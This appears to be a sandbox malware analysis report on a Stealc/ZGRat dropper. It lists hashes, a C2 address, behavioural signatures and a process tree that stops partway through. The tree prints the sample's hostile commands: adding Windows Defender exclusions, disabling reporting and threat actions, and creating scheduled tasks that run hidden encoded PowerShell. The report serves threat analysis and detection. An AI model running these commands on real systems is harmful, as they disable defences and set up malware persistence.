Analysis

  • max time kernel
    144s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03/04/2024, 11:23

General

  • Target

    ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe

  • Size

    5.5MB

  • MD5

    003600bc57311bd8073c1e0e04368dc3

  • SHA1

    278361b1d0fc8339ede2f7119388bb384800214a

  • SHA256

    ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35

  • SHA512

    d859979b185e9cc1b3b41fd5531cbf17c22f6673adf4258868b5a11ed068429f464300546d437ff3582876a99fb1241aa9011182f5625c558bf8ed5be109dfe7

  • SSDEEP

    49152:KIFzxLh+7KFc/rfltudWjXjGjYBJTcWIQKY6sB+gk89esANH1vcUbgkE4W4ed+aN:Fh+PL1rkPFAOFRUdSI9LwrYbN

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 7 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 14 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 10 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 29 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe
    "C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1144
      • C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe
        "C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2320
        • C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2972
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe"
            5⤵
              PID:3216
              • C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe
                "C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe"
                6⤵
                • Executes dropped EXE
                PID:948
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe
                  7⤵
                    PID:788
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 2.2.2.2 -n 1 -w 3000
                      8⤵
                      • Runs ping.exe
                      PID:1152
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 3396
                5⤵
                • Program crash
                PID:4760
            • C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe
              "C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe"
              4⤵
              • Executes dropped EXE
              • Checks SCSI registry key(s)
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:1440
              • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3816
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 1156
              4⤵
              • Program crash
              PID:3256
          • C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
            "C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --silent --allusers=0
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Enumerates connected drives
            • Modifies system certificate store
            • Suspicious use of WriteProcessMemory
            PID:1892
            • C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
              C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2c0,0x2c4,0x2c8,0x294,0x2cc,0x6f89e1d0,0x6f89e1dc,0x6f89e1e8
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:3468
            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe
              "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --version
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:4744
            • C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
              "C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1892 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240403112332" --session-guid=050039fe-c4da-415c-bdd0-e35ef15b61fe --server-tracking-blob=ZDg0NWUxMjMwNTdkM2QxNmRiNTBiYTg0MjI0MTI1M2Q0ZjViZDUzZGI5NjA4ZGZkZWY0NTcxNzQxNTk1ZjViZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIxNDM0MTAuMjg1NyIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjM0ODc4Y2ZkLTZmMGYtNGUzYS1iZDNkLTJiMDQzMWQ5NGZmNSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=FC05000000000000
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Enumerates connected drives
              • Suspicious use of WriteProcessMemory
              PID:4536
              • C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe
                C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6e6ae1d0,0x6e6ae1dc,0x6e6ae1e8
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2292
            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
              "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
              4⤵
              • Executes dropped EXE
              PID:4016
            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe
              "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe" --version
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:840
              • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe
                "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x750040,0x75004c,0x750058
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:4616
          • C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe
            "C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4524
            • C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe
              .\Install.exe /dEKGWdidYWnQ "385118" /S
              4⤵
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Drops file in System32 directory
              • Enumerates system info in registry
              • Suspicious use of WriteProcessMemory
              PID:2584
              • C:\Windows\SysWOW64\forfiles.exe
                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4548
                • C:\Windows\SysWOW64\cmd.exe
                  /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                  6⤵
                    PID:1416
                    • \??\c:\windows\SysWOW64\reg.exe
                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                      7⤵
                        PID:3640
                      • \??\c:\windows\SysWOW64\reg.exe
                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                        7⤵
                          PID:4916
                    • C:\Windows\SysWOW64\forfiles.exe
                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                      5⤵
                        PID:2664
                        • C:\Windows\SysWOW64\cmd.exe
                          /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                          6⤵
                            PID:4040
                            • \??\c:\windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                              7⤵
                                PID:4180
                              • \??\c:\windows\SysWOW64\reg.exe
                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                7⤵
                                  PID:1768
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /CREATE /TN "gKJHPVqYj" /SC once /ST 08:54:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                              5⤵
                              • Creates scheduled task(s)
                              PID:2108
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /run /I /tn "gKJHPVqYj"
                              5⤵
                                PID:1152
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /DELETE /F /TN "gKJHPVqYj"
                                5⤵
                                  PID:1640
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe\" hl /yUsite_idMiU 385118 /S" /V1 /F
                                  5⤵
                                  • Drops file in Windows directory
                                  • Creates scheduled task(s)
                                  PID:3392
                            • C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe
                              "C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe"
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:3148
                              • C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe
                                .\Install.exe /dEKGWdidYWnQ "385118" /S
                                4⤵
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Drops file in System32 directory
                                • Enumerates system info in registry
                                • Suspicious use of WriteProcessMemory
                                PID:1964
                                • C:\Windows\SysWOW64\forfiles.exe
                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1956
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                    6⤵
                                      PID:4608
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                        7⤵
                                          PID:4952
                                        • \??\c:\windows\SysWOW64\reg.exe
                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                          7⤵
                                            PID:1544
                                      • C:\Windows\SysWOW64\forfiles.exe
                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                        5⤵
                                          PID:2332
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                            6⤵
                                              PID:4044
                                              • \??\c:\windows\SysWOW64\reg.exe
                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                7⤵
                                                  PID:820
                                                • \??\c:\windows\SysWOW64\reg.exe
                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                  7⤵
                                                    PID:4556
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /CREATE /TN "gKJHPVqYj" /SC once /ST 08:54:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                5⤵
                                                • Creates scheduled task(s)
                                                PID:2592
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /run /I /tn "gKJHPVqYj"
                                                5⤵
                                                  PID:4796
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks /DELETE /F /TN "gKJHPVqYj"
                                                  5⤵
                                                    PID:4296
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe\" hl /yUsite_idMiU 385118 /S" /V1 /F
                                                    5⤵
                                                    • Drops file in Windows directory
                                                    • Creates scheduled task(s)
                                                    PID:2124
                                              • C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe
                                                "C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe"
                                                3⤵
                                                • Modifies firewall policy service
                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                • Checks BIOS information in registry
                                                • Executes dropped EXE
                                                • Checks whether UAC is enabled
                                                • Drops file in System32 directory
                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                PID:2868
                                              • C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe
                                                "C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe"
                                                3⤵
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                PID:3088
                                                • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                                                  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                                                  4⤵
                                                  • Executes dropped EXE
                                                  PID:4512
                                                  • C:\Windows\SYSTEM32\msiexec.exe
                                                    "msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"
                                                    5⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1312
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2320 -ip 2320
                                            1⤵
                                              PID:3316
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                              1⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1888
                                              • C:\Windows\system32\gpupdate.exe
                                                "C:\Windows\system32\gpupdate.exe" /force
                                                2⤵
                                                  PID:4140
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                1⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3316
                                                • C:\Windows\system32\gpupdate.exe
                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                  2⤵
                                                    PID:4596
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                  1⤵
                                                    PID:4712
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                    1⤵
                                                      PID:4440
                                                    • C:\Windows\system32\gpscript.exe
                                                      gpscript.exe /RefreshSystemParam
                                                      1⤵
                                                        PID:4584
                                                      • C:\Windows\system32\gpscript.exe
                                                        gpscript.exe /RefreshSystemParam
                                                        1⤵
                                                          PID:2428
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2972 -ip 2972
                                                          1⤵
                                                            PID:5112
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k smphost
                                                            1⤵
                                                              PID:3392
                                                            • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe
                                                              C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe hl /yUsite_idMiU 385118 /S
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Drops file in System32 directory
                                                              PID:4924
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows 